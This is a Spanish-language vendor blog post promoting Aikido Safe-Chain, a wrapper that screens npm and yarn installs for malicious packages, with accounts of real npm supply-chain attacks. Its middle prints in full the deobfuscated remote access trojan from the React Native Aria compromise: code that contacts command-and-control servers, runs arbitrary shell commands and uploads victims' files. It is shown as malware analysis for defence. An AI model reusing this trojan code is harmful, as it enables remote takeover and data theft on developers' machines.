Aikido

Presentamos Safe Chain: Deteniendo paquetes npm maliciosos antes de que arruinen tu proyecto

Mackenzie JacksonMackenzie Jackson
|
#
#
#

TLDR:
Acabamos de lanzar Aikido Safe-Chain, un envoltorio seguro para npm, npx y yarn que se integra en tu flujo de trabajo actual y comprueba cada paquete en busca de malware antes de instalarlo. Te protege contra la confusión de dependencias, puertas traseras, typosquats y otras amenazas de la cadena de suministro en tiempo real sin alterar tu flujo de trabajo.



npm install es básicamente la ruleta rusa del desarrollo moderno. Un paquete incorrecto, un error tipográfico inadvertido y, de repente, le has regalado a un grupo APT norcoreano las claves de tu entorno de producción. Divertido, ¿verdad?

Pero los Estados-nación, las bandas de ciberdelincuentes y los mantenedores deshonestos han descubierto una cosa: la forma más fácil de vulnerar el software moderno es pasar directamente por el desarrollador. ¿Y qué mejor manera que introducir malware en los paquetes de código abierto que instalamos ciegamente cada día?

Por eso creamos Aikido Safe Chain, un envoltorio para npm, npx e incluso yarn que actúa como un portero para tus dependencias. Comprueba si los paquetes contienen malware conocido antes de instalarlos en tu proyecto, sin necesidad de que cambies tu flujo de trabajo.

Pero antes de profundizar en cómo Safe-Chain evita que tu máquina de desarrollo se convierta en una red de bots para minería de criptomonedas, hablemos primero de por qué existe este problema.

¿Por qué los paquetes NPM son un objetivo tan atractivo?

Esta es la cruda realidad: ya no sabes realmente qué hay en tu aplicación.

Según la Fundación Linux , aproximadamente entre el 70 % y el 90 % de cualquier software moderno está compuesto por código abierto. Usted no lo escribió. Usted no lo auditó. Y aquí está lo más sorprendente: la mayor parte ni siquiera la instaló directamente usted. Llegó a través de dependencias transitivas, un término sofisticado para referirse a«algún paquete aleatorio de cinco capas de profundidad que decidió traer consigo a todo su árbol genealógico».

Una sola instalación de npm puede incorporar docenas, a veces cientos, de paquetes, cada uno de los cuales puede ejecutar código arbitrario gracias a los ganchos de instalación.

Si un malhechor logra introducir su malware en uno solo de esos paquetes, ya sea secuestrando la cuenta de un administrador, mediante la confusión de dependencias o publicando una versión con errores tipográficos, puede afectar a miles de proyectos de una sola vez. 

No solo palabras: ataques reales que hemos detectado

Desde principios de 2025, el equipo de seguridad de Aikido ha descubierto una serie de paquetes maliciosos, incluyendo más de 6000 solo en junio. Estas son algunas de las cosas que hemos encontrado. 

La puerta trasera oficial de XRP 

En abril, unos atacantes comprometieron el paquete oficial xrpl npm, utilizado para interactuar con la cadena de bloques XRP. Introducían nuevas versiones que, silenciosamente, extraían los secretos de las carteras a un servidor remoto cada vez que se creaba un objeto Wallet.

Si esta puerta trasera hubiera sido instalada por las plataformas de intercambio de criptomonedas, podría haber facilitado los mayores robos de criptomonedas de la historia. El equipo de Aikido detectó las versiones manipuladas del paquete a los 45 minutos de su publicación y alertó al equipo de XRP. 

El partido RAT del agente de usuario rand

Unas semanas más tarde, los atacantes introdujeron un troyano de acceso remoto (RAT) en el paquete rand-user-agent, una utilidad aparentemente aburrida para generar cadenas de navegador falsas. Una vez instalado, el malware creó una puerta trasera, se conectó a un servidor de comando y control, y esperó órdenes como un agente durmiente obediente.

Esto incluía cargas útiles ofuscadas, un secuestro de PATH para Windows y trucos ingeniosos para instalar módulos adicionales en directorios secretos.

El atacante utilizó espacios en blanco para ocultar código malicioso fuera de la pantalla.

Diecisiete bibliotecas, un ataque a una nación-estado

En junio se produjo un auténtico asalto al ecosistema React Native Aria: 17 bibliotecas front-end fueron secuestradas a través de un token de mantenimiento de GlueStack comprometido. En total, los paquetes tenían más de un millón de descargas semanales, lo que significa que esto podría haber tenido un impacto absolutamente catastrófico en el ecosistema React Native. 

Se insertó una puerta trasera ofuscada como RAT que permitía al atacante acceder sin restricciones a la infraestructura en la que se ejecutaba, incluida la capacidad de distribuir más malware de forma remota.

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Explotaciones invisibles, ofuscación y espacios en blanco

Podría pensarse que detectar malware es bastante fácil, ya sea por llamadas a direcciones IP remotas, scripts de instalación extraños o código muy ofuscado. Aunque algunos tipos de malware son más fáciles de detectar que otros, incluso si se realizara una revisión completa del código de todas las dependencias (buena suerte). Algunos programas maliciosos son tan sofisticados que se cuelan sin problemas. Por ejemplo, os-info-checker-es6 utilizaba caracteres Unicode invisibles que no se pueden ver en un editor de código normal para distribuir su malware. O malware distribuido en imágenes como *****, o quizás el más divertido, malware oculto por espacios en blanco (un método de ofuscación estúpido pero sorprendentemente eficaz) como react-html2pdf.js. 

El Unicode PUA invisible no es visible en los editores de código ni en la vista de código NPM.

Por qué Safe-Chain es la herramienta que necesitas ahora mismo

A todos nos encanta el código abierto. ¿Pero las herramientas de seguridad modernas? No tanto. A menudo son torpes, ruidosas y te hacen sentir como si estuvieras intentando aprender a pilotar un avión de combate. 

demostración
Cadena de seguridad en acción

Obtienes la misma experiencia de desarrollador, solo que con un chaleco de Kevlar debajo.

Por qué Safe Chain supera con creces a otras herramientas

Herramientas como npm audit y npq no solo deben ejecutarse como pasos adicionales, sino que también dependen de CVE públicas o heurísticas básicas. Son adecuadas para problemas conocidos, pero pasan por alto los zero-days, y el tiempo que transcurre entre la aparición de un paquete malicioso y su notificación es de unos 10 días. Tiempo más que suficiente para que los actores maliciosos se infiltren profundamente en su infraestructura. 

Safe-Chain funciona con Aikido Intel, nuestro canal de amenazas que detecta alrededor de 200 paquetes maliciosos al día, antes de que aparezcan en las bases de datos de vulnerabilidades.

Y a diferencia de otras herramientas que detectan las amenazas a posteriori, Safe-Chain las detiene antes de que se instalen. Nada se rompe, excepto los sueños del aspirante a atacante.

Reflexión final: No esperes. Verifica.

El ecosistema npm es una maravilla moderna, una catedral de colaboración, velocidad y... malware. No podemos cambiar el mundo del código abierto de la noche a la mañana, pero podemos proporcionarte las herramientas necesarias para navegar por él de forma segura.

La esperanza no es una estrategia de seguridad.

Con Safe-Chain, no tienes que hacer conjeturas. Lo verificas. Cada instalación de npm se analiza en tiempo real. Sin puertas traseras. Sin robo de criptomonedas. Sin sorpresas desagradables en tu ordenador portátil.

Instalar Cadena segura hoy mismo

Instalar la cadena de seguridad Aikido es fácil. Solo hay que seguir tres sencillos pasos:

Instala el paquete Aikido Safe Chain globalmente utilizando npm:
npm install -g @aikidosec/safe-chain

Configure la integración del shell ejecutando:
Configuración de cadena segura

❗Reinicie su terminal para comenzar a utilizar Aikido Safe Chain.

  • Este paso es crucial, ya que garantiza que los alias de shell para npm, npx y yarn se carguen correctamente. Si no reinicias tu terminal, los alias no estarán disponibles.

Verifique la instalación ejecutando:
npm install safe-chain-test

  • El resultado debería mostrar que Aikido Safe Chain está bloqueando la instalación de este paquete, ya que está marcado como malware. (La instalación de este paquete no conlleva ningún riesgo).

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.